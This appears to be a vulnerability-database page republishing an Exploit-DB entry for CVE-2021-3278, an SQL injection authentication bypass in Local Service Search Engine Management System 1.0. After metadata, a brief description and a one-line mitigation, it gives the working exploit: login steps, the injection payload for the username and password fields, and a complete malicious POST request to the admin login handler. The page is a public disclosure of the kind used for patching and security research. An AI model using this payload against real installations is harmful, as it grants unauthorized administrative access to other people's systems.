header-logo
Suggest Exploit
vendor:
Local Service Search Engine Management System
by:
Aditya Wakhlu
9.8
CVSS
CRITICAL
SQL Injection
89
CWE
Product Name: Local Service Search Engine Management System
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: CVE-2021-3278
CPE: a:sourcecodester:local_service_search_engine_management_system
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows
2020

Local Service Search Engine Management System 1.0 – SQLi Authentication Bypass

An authentication bypass vulnerability exists in Local Service Search Engine Management System 1.0 due to improper validation of user-supplied input. An attacker can exploit this vulnerability by sending a malicious request with payload Aditya' or 1=1# in user and password field to bypass authentication and gain access to the application.

Mitigation:

Input validation should be done properly to prevent SQL injection attacks. Access to the application should be restricted to authorized users only.
Source

Exploit-DB raw data:

# Exploit Title: Local Service Search Engine Management System 1.0 - SQLi Authentication Bypass
# Date: 21/11/2020
# Exploit Author: Aditya Wakhlu
# Vendor Homepage: https://www.sourcecodester.com/php/14607/local-service-search-engine-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lssems.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4
# CVE: CVE-2021-3278

Step 1: Open the URL http://localhost:8080/lssems/admin/login.php
Step 2: use payload Aditya' or 1=1# in user and password field

Malicious Request:::

POST /lssems/admin/ajax.php?action=login HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/lssems/admin/login.php
Cookie: PHPSESSID=mpqu31slfcd7fjc89gm9veb1o3

username=Aditya'+or+1%3D1%23&password=Aditya'+or+1%3D1%23